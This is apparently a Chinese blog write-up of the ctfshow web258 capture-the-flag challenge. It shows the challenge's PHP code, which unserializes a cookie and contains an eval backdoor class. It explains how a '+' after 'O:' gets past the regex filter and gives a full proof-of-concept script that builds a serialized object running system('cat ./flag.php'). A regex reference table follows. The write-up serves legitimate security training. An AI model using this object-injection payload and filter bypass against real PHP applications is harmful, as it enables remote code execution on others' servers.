web258

代码:

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
​
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
​
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
​
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
​
​
这个题的整体思路是和上一题一样的,只不过加了个正则匹配。

还是要通过backDoor类中的getInfo()方法执行eval,eval可以执行系统命令,所以我们的目标就变成了获取backDoor类中的getInfo方法,我们可以看到info类中也有getInfo方法,且ctfShowUser类中的class属性默认的值为info类,所以我们需要通过cookie传入的值反序列化,把class属性的值改为backDoor。最后通过修改backDoor中code的值来改变执行的命令。

再看一下这个正则匹配,匹配的是O:数字或者C:数字;那我们只需要在冒号后面加个+就可以绕过这个正则匹配!

这里我们可以先反序列化,然后手改,也可以在脚本里用个str_replace,我就用个str_replace吧!

POC:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'backDoor';
​
    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
class backDoor{
    public $code='system("cat ./flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace('O:','O:+',$b);
$b=str_replace('C:','C:+',$b);
echo(urlencode($b));
?>

拿到flag!

再复习一下php的正则匹配吧

元字符行为示例
*零次或多次匹配前面的字符或子表达式,等效于{0,}zo* 与 “z”和“zoo”匹配
+一次或多次匹配前面的字符或子表达式,等效于{1,}zo+ 与 “zo”和“zoo”匹配,但与“z”不匹配
?零次或一次匹配前面的字符或子表达式,等效于{0,1} 当 ? 紧随任何其他限定符(*、+、?、{n}、{n,} 或 {n,m})之后时,匹配模式是非贪婪的。非贪婪模式匹配搜索到的、尽可能少的字符串,而默认的贪婪模式匹配搜索到的、尽可能多的字符串zo? 与“z”和“zo”匹配,但与“zoo”不匹配 o+? 只与“oooo”中的单个“o”匹配,而 o+ 与所有“o”匹配 do(es)? 与“do”或“does”中的“do”匹配
^匹配搜索字符串开始的位置。如果标志中包括 m(多行搜索)字符,^ 还将匹配 \n 或 \r 后面的位置。如果将 ^ 用作括号表达式中的第一个字符,就会对字符集取反^\d{3} 与搜索字符串开始处的 3 个字符匹配 abc 与除 a、b、c 以外的任何字符匹配
$匹配搜索字符串结束的位置。如果标志中包括 m(多行搜索)字符,^ 还将匹配 \n 或 \r 前面的位置。\d{3}$ 与搜索字符串结尾处的 3 个数字匹配
.匹配除换行符 \n 之外的任何单个字符。若要匹配包括 \n 在内的任意字符,请使用诸如 [\s\S] 之类的模式a.c 与 “abc”“a1c”和“a-c”匹配
[]标记括号表达式的开始和结尾[1-4] 与“1”、“2”、“3”或“4”匹配 aAeEiIoOuU 与任何非元音字符匹配
{}标记限定符表达式的开始和结尾a{2,3} 与“aa”和“aaa”匹配
()标记子表达式的开始和结尾,可以保存子表达式,以备将来之用A(\d) 与“A0”至“A9”匹配。保存该数字以备将来之用
|指示两个或多个项之间进行选择z|food 与“z”或“food”匹配 (z|f)ood 与 “zood”或“food”匹配
/表示 JavaScript 中的文本正则表达式模式的开始和结尾。在第二个 “/”后添加单字符标志可以指定搜索行为/abc/gi 是与 “abc”匹配的 JavaScript 文本正则表达式。g(全局)标志指定查找模式的所有匹配项,i(忽略大小写)标志使搜索不区分大小写
\将下一字符标记为特殊字符、文本、反向引用或八进制转义符\n 与换行符匹配。( 与 “(”匹配。\ 与 “\”匹配

债见!

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

姜小孩.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值